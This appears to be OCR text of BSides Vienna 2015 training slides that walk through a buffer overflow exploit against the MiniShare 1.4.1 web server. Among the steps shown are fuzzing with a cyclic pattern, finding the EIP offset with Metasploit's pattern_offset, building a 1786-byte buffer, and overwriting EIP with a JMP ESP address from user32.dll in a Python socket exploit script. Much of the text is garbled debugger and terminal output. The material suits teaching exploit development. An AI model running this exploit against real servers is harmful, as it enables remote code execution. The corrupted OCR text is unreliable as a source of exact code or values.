BySByeBy 7By EByvoB=0B=iB=z2B=3B=4B=5B=6B=7B=8B=8CaldCaliCaZzCalCadCasSCasCaTCaiCa’iCbhblCh
1IChZ2CEH3Cha4Chb3Chbe6ChTChbECHICcOCciCe2Ce3Cocd4Cel o8 CeTCoBCecaCdiCdiI Ccd2Cd3cd4acCdscdaecdTe

CgSCgeCg 7 CgECgaChOChiIChRZChICh4ChSChe6Ch TCREChHSCIOCiICiZCi3Ci4CioCieCiTCigCciacjoc)
IC32C33C34C 35 C3aC 3 T3 BCH  8CEOCEICEZCEICKEACESCESECETCEECEICIOCIICIZCIZCI4CISCIsCATC
CloCmOCmi Cnl ConICmndCmSContCnTCnE8CmeCniCn I Cn2Cn3Cn4CnSCnéeCnTCnE8Cn9ColCoiCoZCo3Co4
CoSCao™

T [+]Connecting with sServer...™

=2 = socket (AF THNET, SOCEK STRELAM)
a s Top

CdoCelCeiCel2Ce3Ced4CesCesCeTCe8CedCIO0CTICI2CIf3CTf4CISCE6CETCIBCTIOCgOCgiCg2Cg3Cagd

m
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Send the unique string

IT & Mobile Security

1 exploict.py 10.0.0.311 80
[+] Preparing evil string...
DalhalifaZiaifadfaShactaThaiha9nb0Rb il A2 R 3nb4nn SAReA L TAREAR A cORCI Ac2Ac3IRcdicSRC
ahcThcEhcOnd0adind2nd3nd4ndindeidTAdELAASRelfelieZhe3fecdlieSbhiecole TheEheQnfORAFIAFOR
F3RFfARf oA FfeRFTATFBATORgORgl Rg2hg3hgdhgbhgblgTRglhg9lhOAh I AR Ah IR h AL TALEBARTG H
RiOAITIRI2RI 3T ARI AT EAI TRAI AT A JORG IR 2R 3R 4R SR 6 TAJBRj R kOAI A EZAKIA AR KA K
Lk TAKEAKARICOAITAI 2RI IR 4RI SR eI TAIELI 90mOAmd Am2 AmI3nmd AmSAmeAm TAmEAmIAAnOAn I And R
n3hnd4inoinain TAnEAn9ho0Rol o2 ho3hod o SRob o TROBRo A D ORI An 2 A 3Rpd4 i onpe A TADELD D
LgiagligZigifgebgosigetg T agingedr0Ar Iy 2 A r 3y r oA r6Rr TAYBAr3as0RsI A2 s3940 so0s
eheThs8 R Rt ORI At 2Rt IR L ARt SACERA L TACEA L OAn0AnI A2 An3indiuShiunaiunTAuSin ARl wORAviIAvwI D
TIRVALRVESRATERA TV TAVER VA RWORW] AW 2 AW AW A AW S AW e AW T AW B AW AR ORI A I A IR XA AR EA X TARXEA XS
AyORyIAy 2y 3nyaly SR yely TAYERyARFORA I A2 Rz 3R 4R s SRz TRAZzEAz9RalBaliBaZBEaiBadbBasEBa
8BaT7Ea8BasEbh 0Bl BEHZ2EL3Bb4EL S BELE6BE TELEBEbSEcOBclBe2Be3Be4Be Bt B TBcEBoSEdOBdIEA2R
d3Bd4BdSBEd6EdTEdEEASBe0BeiEBEe2Be3EedBeSBe tBe TBeBEe OB fOBLABf 2B 3BT4BfSBETeBE TETBELTS
BEg0BglBgl2Eg3Bg4BgSBgaBgTEBg3BgSEhOBhIBh2Eh3IBh4Bh s Eh6eBh TEREBhIBI0BEiIRIZ2EiI3Bi4BiSEl1
SBITEIiBBIOEjOBjIBj2Ej3Bj4EjoEjeBj TEjBEBjSBECBEIBEZEBEIEK4EBEESEEAEETEBEEBEKSEIO0RB1IIELIZE
13B14B15B16B1T7TE1EE1 9Bm0Bm] BEm2Bm3EBEmdBrnSBmaBn 7Bt EmSBn0Bn i Bn?2Bn3Bnd4Bn sBneBnTBEn8BnS
BoDBolBoZ2BolBod4bBoSBobBoTBEoBBoSEpOBD 1 B2 En 3 B4 B o EBpe B TER BB SBgUEgl B2 BEg3Bg4BagSBg
6B TEgEBgYBrOEriBr2Br3BrdBr SBr€éBr7ErBEroBes0Es1B22B23Es4B=25EB26BsTEB=sBE=s9BLOBTIEBL 2B
t3BC4Bt oSBTt eBL TELEELSBulBul Bu?2Bu3dbBudBuStButBuTBulBEuSBvOoBviBv ZBv3IEv4BvSsBvebBv TBvEEvS
BWwiOBWIEBWwZEWIBWABWSEBWEEBW T EWEBWOEBXDEXIEXIBEXIEXIEXSEXE6BX TEXEEXByOBYy1By 2By 3By4BySBy
6By TEvEBYySBz0E=Zz1Bz2EB=23B24B=5EB26B2TEB=8B=z09Ca0CalCazCa3CadCasCaeCaTCaiCasChoChiCh2C
bB3CE4ChHESChHEeCHTCHECHOCeC ol Co2Ce3CodCe S CoaCeTColCcaCdoCdl CadZCd3Cd4cCdsCdeCdTCdeCds
Cef0CeiCeZ2Ce3CedCesCeaCeTCe8Ce9CfOCTICI2Cf3CT4CESCTIeCETCIBCE9Cg0CglCg2Cg3CgeaCgSCyg
eCgTCgECgaChOChIChZChICh4ChSChaeCh TChEChSCi0CiICi2Ci3ICiaCisCiaCiTCisCioCjocjiciy2Cc
d3C34Cj e TCJECieCkKOCKI CkZCk3Ck4CkSCkaCkETCEKECKOCIOC1IAC12C13C14C15C1I6C1TC1IE8C1S
CronOCmd Cro2 Cm3Cmd CrnSCmeCnTCmECmeCn0Cn I Con2 Cn3Cn4Cn S CneCnTCnECn3ColColCo2Co3Cod4CaosSCao
[+#]1Commecting with server...

[+]1Conmected. .. |
[+]5end evil data...

[+]evil data =ent |
rootEbr:~/minishare# .

-

BSidesVienna 0x7DF
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Application crashes again

File Wiew Debug Elugins Opkions Windéw Help

| Bl x| »nj wis3 0 = +i v|E|m|T|wa|[c|/|K[B|R|.[5| =]

IT & Mobile Security

| Registers [(FEU)
[ElS]=TeTs ]
FPCEEFSE mswort. PWCBEFSE
BEEE4CER
43346542
81343953 RECII "&ChPChaChaCiBCilCizZnisCidCisCiaci

BEE
B134EEES
E8435E6S

8 FFEFFFEF]

FEFDOBRE] FEF)

ERROR_SUCCESS [(8@06866a8)
gEalezie (HO,ME.ME.R, NS, FE, GE, &)

eMptY  F.2TERZT4IEEEdE eSS Be -4 5
erpty —UMORM EEVE GBZ4EDBD BBBBBBBB
erpty B.ESTEIEDIZE1148747Ac -4 2

S empty +UNMDBEM G57@ PCO1EELS 8114FFH4
erpty @, 16EZES4ERALEZ1B0EEA:—-4933
erpty —UMORM FCed GE00EGEEE FFEFFEES
ermpty —UNORM FEDS 6114FFF4 GBEBGGOGE
eMpEy =777 EFEF ?CQEBGQBE?ggéEEIE

BEAE Cond B B 0 0 Ecr 808 068 0
BZ2YF  Prec MEAR.53  Mask gl s i

SR
45386543
aiz42918| 94323952

81343310 69433369
B1342920 1 ICLA4224
81343924

D

B1345936| 433000435
@13429234) el4231cA
51343938 S56R4332
ASTHERAS

B1343945]) 432380043
a1342z94C] EB422TEA
@1343956) S16B4330

355E43554
Bizdz9cn)l 43260842
B1243964| cB423376E
Bi3489e8) Z9EB4IZE
1343960 432386043
B1342976]| EC43216C
B1343%74) 20604332
B1245972; 42346048

LR Rt e N e R = = =

BESS 1602

ot ot Deoeo= s DO OO

BSidesVienna 0x7DF
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At which offset is EIP?? (68433568 - h5Ch )

root@kali :~/Desktop/minisharef python vl.py 10.52.200.24 80

[+#] Preparing evil string...

GET /fRaDhalla?ha3had4lhaShaclhaThaBlhadAb0Ablab2Abh3AbeAb5Ah6AbLTADBALOACOACIAc2Ac3hcd
RcShcéhcTRAcERcO9Rd0AdIAd2Ad3Rd4Rd5RdeRdTAdERdYke0Rel el ie3hedhiaSheohe TReBheQRFORT
IAfeRfaRf4nf R e fTAFERAFORqORAgl A2 Rg3hgihgShgalgTAgEAgoRnOAn I AR AN IAR4RnSANERRTE
hEARORI ORI IR 2RI AR 4RI NI AR TAI BRI AR ORI R 2R 3R 4R S0 6R TAGBAjORAKORKI AKZDIA Y
RkSAk6RkTAKEAKORAIOATIRI 2RI IR 4RI SR 6GRITATER] S2mORmT Amd Am3Amd AmSAmeAmTAMEAMmOAn ORkn
IAn?An3hndAn SAn6An TAnEAn R0kl Ro2 Ao3Rhodho Shob6ko TRoBRo SAROAR I Ap 2 An 3Ap4Rn SApEAR TR
pBRpoLglRgligihqi3fgdhgShgbhgT gl g rOAr IRy Ar AR r4Rr SATE AT TRATEATOR=0R=1RA=2A=30=4
A=Sh=6h=Ths =00t ORI Rt 2Rt 3R C 4R SRt AR TALBAL O AuDRAul Rul2 in3hudtuShueluThukudnvORy
1Av2hw3kvelv o Avelv TAvERvIAWO AWl Aw 2 Aw 3 AwaA Aw S AW AW T AW B AW AR ORI A 2 B 3A x4 Cn R 6Rx T
X8RO0 vORyIny2 Ay3ﬁy4ﬁy£na-l|. . N I: f;3FLz 4hzShz6RzTAZzEBAz9Ba0BalEBalBaiBad
BaSBa6cBaT7BaBBa3BbLOBLIBE™ = 3c0BclBc2Bo3Bc4BesBo6Be7TBcEBeSBdOEd

1Bd2Ed3Bd4Bd5EdeBd TEAEE™ i . "IlI:_‘EBETBEBBEEEfOEflEfEEfEEf&EfEEfGEf'?Ei

£85£93g08g158g28g35a4Sat 13EBh4Bh5BhAEnTERBEROBi0Bi1Bi2Bi3Rid
EiEEiGEiTEiBEiBEjGEjiEﬂC ) |:k_-.gakaakiakzE:1-:331-:431:531:531:731:331:931931
1B12B13B14B15E16B1TB1AE iBmTEmAEMSBn0Bn1Bn?En3Bnd4EnSEnsBnTE
nEBnoB00E01B02803804E05E0680TE0EEd0Ep 0B Bp Bp3Bp4EpSEp63pTEpEBpaBg0EglBg2Ba3iBad
BgtBgeBgTBgiBgiBrO0Brl1Br2EBrABr4BrSRr6Br7TErAEriB=0EB=s16=22Es3B=24Es5B=26B=sTB=8E=s09Bt 0Bt
1BtZBt3Bt4Bt5ELABL TEL B 9Bu0Bul BuBuidBudBusBusBuTBuiBulBvoBv1Bv2Bv3iBv4BvSBVEEVTE
vEEBvIBwlBWl1Bw2EBwiBwiABwSBwboEBw TEwSERSEx0Ex 1 BxBEx3Bx4Bx SExeExTEBx8ExOByOEBy 1By 2By 3By4
BySByeBy TEByEEBySB=z0B=z1Bz2EB=z3Bz4B=z5k=z6BzTEBz8Bz08CalCalCatCa3CadCasCasCaTCalCadChbiCh
1CHZCh3Ch4Ch5ChaeCETCBECHACC0Ce1CeZ Co3Co4Ce5CeaCeTCeECeaCdoCcdlCd2Cd3cdacdsCdaCdTC
d8Cd9Ce0Cer1Ce2Cr3CedCriCraCe T OCEICE2CE3CE4CTSCEaCETCERBCEOCO0CHI1Cy2Ca3Cad
CgSCg6CagTCgECgaChoChiCh? C'n3CTC'nBC'nBCiCICilCiECi:iCi&CiECi GCiTCiBCigcCinci
1C32C33C34C35C36C3 TCI BCH 9CkOCK ™imad®s k4 Ck5Ck6CkTCkECkOC10C11C12C13C14C15C16C1TC

lBCl9CmﬂleszCm3Cm4CmSCmECmTCmBCmBCnGCniCHECn3Cn&Cn5CnECnTCnBCnECDGCDiCDECDECD&iF
CoS5Co HTTB/1.0 =

BSidesVienna 0x7DF
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At which offset is EIP?? (68433568 = 6hC5

IAaOAalAaZAa3Aa&AaSAaGAaTAaSAaBﬁboﬁblﬁb2Ab3nb4ﬁb5ﬁb6nb7nbBAbBACOAClACZAC3ACQACSAC
6ACcTRACEBRACORdORdIAd2Rd3RAd4RAd5RAdERdTAdERAdO9Re0RelRe2he3ked4heShebleTheBRe SRFORFIAF2D
f3Rf4RFSAFEATTATEATOAg0Ag1Ag2Ag3hg4hgShg6hgTAgEAGOARORRIARZANIAN4ARSARGARTARSARS
AI0RI IR 2RI 3RI4RI SRIARITRAIGRAIORj0RIRA 2R 3R 4R SR 6R TAJEAORKORKIAKZAKIAKIRkKSRK
6Lk TAKEAKORIORIIRAIZ2RIZRAI4RISANGRITAIERA] 9AMOAMT Am2 Am3Am4 AmSAMEAM TAMEAM AN OANI AN 2R
N3AN4ANSAREARTI TNt onT ST onmommossocaossoosoes o eReORRIAp2Ap3Ap4RApSADEADTADEADY
LgORglRg2hg3ig: ;F fﬁ GLrTRrERrOh=0R=s1R=20=30=40R=50s
6LsTRASERASSRCOR I: fu3Au4Au5Au6Au TRQBAuSAVORVIAwEL
vIAVARVSRVERVT] BxORxIBAXIAXIAXSLXOAXGAXTAXERXRT
Ay0RyILy2hy3hye = .' ‘-II I:an ThzB8LzO9BalBalBalBa3iBa4BasBa
6Ba7BaBEaBbOBlmi s ic3Bc4BcSBo6Bc7TBcEBoSBd0Bd1Bd2E
d3Bd4Bd5Bd6eBdTI BfOBf1Bf2Bf3Bf4BLSBI6BL7TBIBBES
|: h— q 6Bh7EhBBhIBi0Ei1BiIBi3Bi4Bi5Bi

k3Bk4BkSBk6BkT7EKEBKSE10B11EB12E

13B14B15B16B1 '?I BnOBEnlBn2Bn3En4BniBnéEnTENEENS

Bo0BolBo2Bo3Bo4BoSB oggo TE 0‘2.3\'80 pOB;‘;\"_IEI;IZIEIp 3ET;4EIp5EIp 6BpTBpEBpSBg0BglBg2Bg3Bg4BgSBg
6Bg7Bg8BgSBr0Br1Br2Br3Br4BrSExFBr 7TBr8BriE=s0Bs1B32B=s3B34B35B36Bs7B38B39Bt0Bt1BL2E
t3Bt4BtSBt 6Bt 7Bt 8Bt 9BulBulBu2i 3Bu4BusBuéBuTBuSBuSBv0Bv1Bv2EBv3Bv4BvSBveBvTBvEBvS
BwiBW1BWwZ2Ew3BWwiBwSBwEEBW I BWEBWEBXx0BXx1Ex2Bx3Bx4BX5Ex6BXxTEX8Bx9By0By1By2By3By4BySBy
6By TByE8BySBz0Bz18=z282z368z48z5B6BzT8z8Bz9CalCalCa2Ca3Ca4CasCaeCaTCaiCasChbOCbiChbaC
b3CEb4CEb5ChbeChTChECE9CcOCcliCoc2§c3Ce4CeSCeeCeTCoBCeCd0CdiCd2Cd3C0d4Cd5CdeCdTCdECde

CelCelCe2Ce3Ce4CeSCealeT f2CE3CL4CEsCEeCETCLBCESCg0CglCg2Cg3Cg4CgsCy
6CgT7Cg8CgeCh0ChiCh2Ch3CE @ BChOCi0CiiCi2Ci3Ci4CinCieCiTCigCisCjocjiciac
33Cj4Ci5CieCITCIBCI9CKOCK P 4CkSCkeCkTCk8Ck8C10C1IC12C13C14C15C16C1ITC1IEC1S

CmOCmd Cre2 Cm3Cm4 CSCmé Cm 7 CmECeSCn0CniCn2Cn3Cn4Cn5CnéCn7CnECnSCo0ColiCo2Co3Co4CosCo
[+]Connecting with server...
[+]Connected. ..
[+]18end evil data...
[+]ev1l data sent
i~/minishare# l

-
@ root@kali: fusr/share/metasploit-fra

rooti@kali: /usr/share/metgap
[*] Exact match at offs
root@kali: /usr/share/me

—framework/tooSg# ./pattern offset.rb 68433568

ramework/tools# '

s OTDE KALI-2: /usr/share/metasploit-framework/tools/pattern_offset.rb
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Modify exploit code

buf = "\x41"*1786 + "\x42"*4 + "\x43"*500

IT & Mobile Security

ro0t@bt: ~/minishare e L ]

@ CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCcCCoCCcCococooocoooceo
CCCCCCCCCCCCCCCCCCCCCCCCootSeae2  CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCoocccooocc
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCocCCCCcCcCCCCCcocooooocooocco
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCocCCCCcCcCCCCCcocooooocooocco
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCocCCCCcCcCCCCCcocooooocooocco
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCocCCCCcCcCCCCCcocooooocooocco
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCcCcCccccee

[+]Connecting with server... i
[+]Connected. ..
[+]5end evil data.
1+]ev11 data sent

cr~/minishare# l

1|

BSidesVienna 0x7DF



| APPLIED COMPUTER SCIENCES

|BS|des Vienna 2015
Modify exploit code <1786*A> <4*B> <500*C>

BSidesVienna 0x7DF

OllyDbg - minishare.exe - [CPU - thread 00000D0OC]
@ File “iew Debug Plugins Options  Window  Help

FH|

JOANNEUM

University of Applied Sciences

IT & Mobile Security

Blelx] »lu i

Registers [FPUL

RAddress.

BE951BEE
aa3alaas
BaZel1a18
BESE1A1S
BEZE1E2E
BAI51a28
Ba3elase
BEZE1833
AE9E1A4E
BE9E 1842
BA251858
BEZE1A5S
BE261868
BASE1AES
BESE1ATE
BaSs1ars
AEPE185E

- o . i i
SO s D

SO T™m
R B E

B13
B134396
55
B1343914
E1343918
@134391C
81343920
B12423924
@1343928
B13439:2C
B1343938
81343934
H1343938
@124393C
81343948
81343944
@1343343
B13243940

e B oL |

ER BEEERHEE
ECH FFPCHEFZE mzvort.vrCOEFIE
EDiA @BEB:?CB

32bit
22bit
3Zbit
SEbit
2bit
HULL

ERRDH_

&t FFFFFEFF)
@i FFFFFFEEF]
BEFFFFFEFF)
BLFFFFFFFF)
FFFOCEREFFF

SULCESS [EEE

MatTs

43424342
42434243
424234248
43434343
43434343
43434343
43434342
42424242
43434342
43434343
43434343
43434345
42434342
43434343
43434343
43434243
43434345

dadsdsds

F

Access vils

To direct inpLt to this vitual machin, press Cil+G.

e Shift+F7/FB/F3 to pass exc

1 Fauzed
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Our register situation after the crash
ESP = (ptr) CCCCCCC

EIP=BBBB |ereme ;
— Ollgd)hg, - minishare.exe - [CPU - thread 00000DOC]

ERX BREHE0GHE
ECY FPCREF3E mzucrt.7FCAEFSE
EL:= BBEB4CCB
EBy 4141414
g *E BBBE CCCCCC
Increment 24BE S8
] ARBEARL
Decrement 345B6S

Zero 2424242
=S 8 FFFFFFFF)

settol 3 8 FFFFFFEF)

. : it BiFFFFFFFF]
Madify Enter 5 it @iFFFFFFFF)

Copy selection to clipboard Chrl+C :g HULI; TRREEBEALERE

Copy all reqisters to clipboard

_astErr ERROR_SUCCESS (@08

ASCII Fallaws in Dump AFHEARAE

43434243
DARRGARA )
CRALARRA 43434343

CEARAGEA : 43434343

43434343
sl =L View MM registers 43434242

43434343

EEEEEES View 3DMow! reqisters 424242432
CCCCCCCC . 3 42424242
Wiew debug registers 43424343

4343434
SCLERCL Appearance bl 45454540
LEEnLaL 43434343
CCCCCCOE - BESEhEa
EREELby 43434343
TSR 43434342
CCCCCEOE dg5eacie
COCCEEEE 43434343

42424242) - use Shift+F7/F8/F3 to pass sxception to program ]_1F'aused

T
B
"
5

Address
[1343808

A e ke e o i
R o N e
b e

i
LY iE)

ﬁ-l"—-b-h-&-b-l‘-h-&-l"—

o
0

& Z 'Win s g - minish

To direct input to this vitual machine, press Cir+G.

BSidesVienna 0x7DF
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Evil buffer layout

[EIP] (Instruction Pointer, points to the next executed instruction )
[ESP] (Stack Pointer, points to this memory location CCCCCC-Block)

[0 AARARA (3788 s | coce (s00)

[ewr] 4
[ESP]

We want to execute code (shellcode), we can put the code into the
AAAAA-Block (1786 Bytes) or the CCCCC-Block (500 bytes or more)

But, we don't know the address of the begining of the AAAAA or CCCCC
Block. ESP points to this address ..... Hmm? @)

BSidesVienna 0x7DF
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Evil buffer layout

[ewr] 4
[ESP]

Windows loads system DLLs on specific memory addresses.
For example: user32.dll

If we can find the address of a [JMP ESP] instruction, we can overwrite
EIP with this address.

1 l, ~ [ESP]

2

BSidesVienna 0x7DF
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Search for [JMP ESP] in user32.dll
View = Executable modules = user32.dll

OllyDbg - minishare.exe - [Executable modules]

@File Wigw Debug Plugins Options  Window  Help

JOANNEUM

University of Applied Sciences

FH |
IT & Mobile Security

|i|«|>ﬂ | wijsg ¥4 W + LjE[M|T|wWH|[c|/|K[B[R|..|S]

=|E? )

Size Entruy | Harme.

File wersion

Path

88488888
E045B880
7 1RBEEEE =
T1R1BaaG 5.
FEInBaaG G
FroRBaas| anla208e8| FRIR42B3 | comot [_1] &
FrEBEBRRE | ABATIEEE | FFEEF2AL | mewort -
|| FrO18088 aea26ams| FrO2EERS! USERSZ |5,
FrORBEE0 | BEEAREEE | PPORVE0 | AOVART 32 E.
5

&)

5

5.

=8

BESC3EEG
BEES7ARG
BEER3EEG
BEE1 Fang
BEa4RaEE

BEICEEEG
S0453200
FlRE1642
FlA11273
TE3S1ABS

i Lshar
COMCTLSZ
WS2HELP

Ws2_32
COMOLGS2

1.
1.

FrESEEAG | BEa31088| FFESS204 | RFCRT4
FrEFBERGE | BEa46088 | FFEFEICA| GDI32
FrE488aE | BEaToEEE | FPF45103 | SHLWAP I
FLonBEaad| a6l aceas | FCIEB425 | kerne 132
FCo1B88E | BEEETEEE) FCO23155 | ntdl L

FCoDB@RE | 8031 EGEE| FCOEFALE| SHELL32

5.82 (npsp_sp

2668, 2188
2668 .

2la|
BE. 2968, 2186

i
[
(

i, 2088, 2150

C:~Programme~HiniShare~minishare.ene
Ca~WINDOWS swstem32~COMCTLIZ. OLL
SWIMDOWS sy sten32~NS2HELP. L L
SWIMDOWS~swstemd2-N52_32.0LL
~WINDOWS sy stem32~COMDLG22. OLL
S THOOWS W LR S0 S D ki

- IHDOWS 2y 2t cpdZ ~msucrt . dll
SWIHDOWS~=sw=t €m32~USERIZ. d

\NIHDDMS\EUEtENSE\EDIEE dl
~WIHDOWS sy st em32~SHLWAP L.
-WIHDOWS sy stem32~kerns 132,
WIHDOWS ~swstem32~ntdll.d
2 =WIHDOWS sy st em32~SHELLSZ.

C:
Cz
C:
C:
C:
c
Cz
Cz
C:
Cz
[
c
C

Mindows. Common—Contrals 6595

W

Module C:AWIMDOW S RG RS \wEE. Microsaft \windows, Common-Controls E535hE41 44ccildl_6 02600, 2180 x-ww_s84f1 |

plorer

T diractint to s vl piading: prss Cili,

BSidesVienna 0x7DF

b - minish

i T

| Pauzed
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Search for [JMP ESP] in user32.dll

Ctrl-F (find) = jmp esp = 0x77D5AF0A

OllyDbg - minishare.exea - [CPLI main. thread, module USER32]

FH |JOANNEUM

University of Applied Sciences

IT & Mobile Security

??DEHFBC
FrOEOFEE
FrOSAFTL

FrOEAF L7~

FrOEAFLS

FPOSAF1F |-

FrOEAFZ1
7rOERF24
FPOSAFE?
FrOEQFZE
FrOERFZS

FPOSHFZE |~

FrOEAFZE
FrosAFz2
FPOSAFSY

BEFe 16

S1FF _ES@SEEEE
TE 2@

21FF ES@z2B000
77 18

FF7E 14

FF7E 18

57

]

EZ 2BFDFFFF
EE 1A

FF7E 18

=]

EZ ACFAFFFF

i
D PTR OS:[EAX]

STE_PTR Ds:lEsi+ial, D

SHORT USER32. 7TOSAFSS Eind command

F EDI,ZES2
JA SHORT USERZ2. PFOSHFSS

ERE BR@aaE6Ea
G Lo

X)

PUSH DWORD FTR S5t [EEF+147
FUSH DWORD FTR &5t [EEF+18]
PLEH EDI

PUSH ERi

SHE-SHORT [ISERES. SohEAF4a
FUSH OWORD FTR S%: [EBF+16] v Entire block
FUSH EA3

S|

Find Cahcel l

CALL LISERSZ. PPOSASES T

B FS @BBE3B -3Fhit FFFOFBEALFFF

S GS @E0E HULL
8 LastEre: ERROR_MOD_MHOT_FOLUH

Address
HE2E 1 HEE
AE%E 16628
BEs1E18
HEIE161E
BEgs 16268
HESe 1628
[a155=1 2 Bk ia)
BEge1638
HESE 1 E4E
AESE1648
@E9s 18568
B2 1658
HESE1HEE
HEse 1658
@Ee 167E
BEIE1ETE

Py F
I

o
el @@ v

P ] «
DT

CTLELELEET RoHE
BEZZFFCS| rLI2E738| ntdl L. PLIEET 2
BEZZFFCC| FEFFFEFF
BEZZFFDE| 7EFOBEEE
BEZZFFO4| SBE450FD
BEZZFFOZ| BOEEFFLE
BEZZFFOC| S1CECEES
BEZZFFES| FFEFFFFF|End of SEH o
BEZZFFE4| TCE399FE[SE handler
BEZZFFES| 7CELEDSE|kerne 32, FC8
BEZZFFEC| BEBERDEEE
BEZZFFFE| BOHROE6E
BEZZFFFd| BEEREEEE
BEZZFFFS| BOSEB0BE] min lshar: <Ho
BEZZFFFL| BOBGEE60

HE2E1E28

BSidesVienna 0x7DF

=l oD -

s

| Paused
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(BigEndian/LittleEndian - OAAFD577

@ root@bt: ~/minishar

Jﬂ‘fasrfblnfpytnnn
import errno

||ilmpozt os

from os import SLTETTOT
from socket import *
import sys

from time import sleep
from struct import pack

f len{=y=.argv} 1= 3:

print "[-]Usage: python %=z ™ % sys.argv[0]
print "[-)Example: python %z 1892.1&68.1.2
sy=s.exit (0)

ip = sys.argv[li]

port = int(sys.argv[2])

print ™[+] Preparing evil striog..."

sleep(l)

#buf = ™\x421" * F00D

buf = ™\x4I™*i7E7 mhxla\xaf\ xd5\xTT" 43500

print buf

print "[+]Connecting with server..."™

= socket (AF INET, SOCE STRELM)
.connect { (ip,pozrt) )

T W W
H

int "[+]Connected.. ... ™

BSidesVienna 0x7DF

=5

80" % =sy=s.argv[0]

=5

FH |JOANNEUM

University of Applied Sciences |

IT & Mobile Security

Replace BBBB with the JMP ESP Addr Ox77D5AFOA
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Set a breakpoint (F2) and press run in Olly

= [5]x]

AT i BDO ER:, DWORD PTR OS:CERX] LI
mroT| eare 1@ AOD EYTE PTR D5:[ESI+181,0H AABERGAL
PcAFii| BIFF EGaaesem | CHP EDI,3EG BABEAGL T
FROSAFLT|w7E 28 JBE SHORT USERZ2. PFDSAFE9 REZZFEED
TTOEAF1S| BIFF Es@se@ed | CHF EDI, 3ES : _
TPOEAFLF| w77 18 JA_ SHORT® DSERZ2. PPOSAFSS BRSSFECE
Gl EEN ReemnR i o
H + -

crimpkRd EE FLaH O 7920738 ntdl L. 70926750
TrOEOFZE| BB TCILEBS4 ntdll.KiFastSyusten
TTOSAFZS| ES 20FDFFFF ;

SEbit GIFFFFFFFF]
PPOEAFZE| vEE_ TR e -
e MiniShare 1.4.1 0% if R

=15] P = i
FrOSAFZ4] ES ACFAFFFF | Filename Full Path Shared F‘ath ESEEE gl[:FEIEEEEII:FI]:F

HULL
.'ﬂ Winamp.Ink. CDokumente und Eins,.. wWinamp.nk
ERROF_SUCCESS (@&

'E‘S‘éﬁf’éaa o o es neal (. mCoonr
BE9E 1063 EEEERD
BEIE101E 0800
BE9E 1018 E-Frra
BIE96 1020 g

Cacaas
et EEFRFE | End of SEH o

F329F 2] S5E handler
Ssggigig Ple05e| kepnel32.VCE

glsTnls]e]e]
BE9E 1842 PoaEEae
BEFE 1058
BRI 1858 alslsiclalo S
AE9E 1066 FEAEEE | min lshar, <Mo
| BEEEE
BEIE D6
Q5 187E
BESE 187
BEE 1058

000 00 00 000 G0 e 00 000 00 000 0 B

BSidesVienna 0x7DF
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Run our ehlvi.t > Breakpoint hit ©

LSHFAL

=
FTOSAFLL
FrOSAFLT
7rOEAFLS
TrOSAFLF
FrOSAFZ1
TrOSAF24
rrDERAE2F
TrOSAFZE
FrhSRFEZS
TrOSAFZE
7rOSAFSA

ESP=B1343963,

Address
HEDE 1 REH
BESE 1862
aasslaia
BAL 1812
BAE 1628
HAE 1822
HESE 1828
BASS 1838
HE2E 1 B4E
AE2E 18428
BEPS1a5a
BAQE1AES
BAE 1868
HASE 186
BESS1IETA
BASE1EFE
HASE1BEE

S1FF ESB30088
wTE 28
SIFESESESBBBB

FF7S 14
FF?S 1@
=T

b

@
ES 2BFDFFFF
~EE_1A
FE

EZ HCFHFFFF

ER, DWORD FTR DOS: CEHX]
EYTE PTR DS:CESI+181,0H
EDI, SES
SHORT USER3Z. FFDEAFZD
MP EDI,SES2
JA SHORT USERZZ.FFDSAF3Y
FIUSH DWORD FPTR SS: CEEP+141]
PUSH OWORD FTR SS:[EEF+181
FIUSH EDI
FUSH ERX
CALL USER3z.77DSACY4E
JMP SHORT USERSZ. 7POSAF4A
. DNDRD FTR S5: [EBF+1G]

P
CALL USERBE 7 rOSREES

W

| Reaisters (FRUL

ER¥ BEEEEEEE

ECH ¥FCHEF3E msvort.PFCBEFZE
ED: BEEE 5

EéP EUSHEEEE ASCIT TCOCCOCCoon
EF B134BE9E

M7

T,
[k BT ] m Pl

[ASCII "CCCCCCCCCCCCCCCCCCCCCOypCCCCCCCCCCCCCCoCCCCCCCoCCCCCCCCCOoin

P T e )
s el & @ -
RS T

wowpLE E . = g
S e D s

A O

B13439E0
B1243918
B1343914
Eiz42918
@124391C
B1243920
81342924
81343922
Bl34392C
B1243938
B1343934
G1342928
E124393C
812423940
81343244
G13243945
B1343940

Tk e Rl i |

=[c1r 7FDEAFER USER3Z. 7FOSAFD
Rl 1
_ It ©IFFFFFFFF)

S5 8823 32bit BIFFFFFEFE)
0SS @8@22 232bit BLFFFFFFFE)
FS 883B 22bit PFFDDEGEEIFFF
G5 @888 MHULL

LastErr ERRUR_SULCESS §5]5]5]
T ik
43434343 ol
43454343
43434343
43454343
43434343
43454343
43434343
43424342
43434343
43454343
43434343
43434343
43434343
43454343
43434343
4343534343
43434343

dedsdsds

Stan‘

& 2 win

iba - minisha,

Ta direct input to this vitual maching, press Cid=G

BSidesVienna 0x7DF
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| APPLIED COMPUTER SCIENCES

| BSides Vienna 2015
Execute the next instruction F7

d

o I i e

FH |JOANNEUM

University of Applied Sciences

IT & Mobile Security

]
o
X

E&]Flle Wigy Del:uug Fluging ©Options  Window  Help

itieddi 4| »f L|E[M|T|WH[c|/|K|B|R|..|S| £

mEvcet. T CEEFEE

ASCII

22bit
S2bit
SZbit
SZbit
SZbit
HULL

MCECCCCCCOCD

&L FFFFFFFF
BLFFFFFFFF]
BLFFFFFFFE]
BLFFFFFFFE)
TFFODE@AL FFF

ERRDR_SULEESS [aaa

) T BB # | Registers FF i
B1242509] 43 INC EEM ~ Hsaisracs PR
2500| 43 IHC
=sydon 4 IHE_£2 ECi 7PCUEF3E
BIZ4206C] 43 INC EE: = | Eek 87574141
Bi342560| 43 INC EEM ESF IHIEMEanE
G134290E| 43 INC EEH EEP B124BE90
Sﬁﬁ;?g ig %HE Egﬁ ESI @aa@naa]
a1astn| a3 g e EDI B1245E68
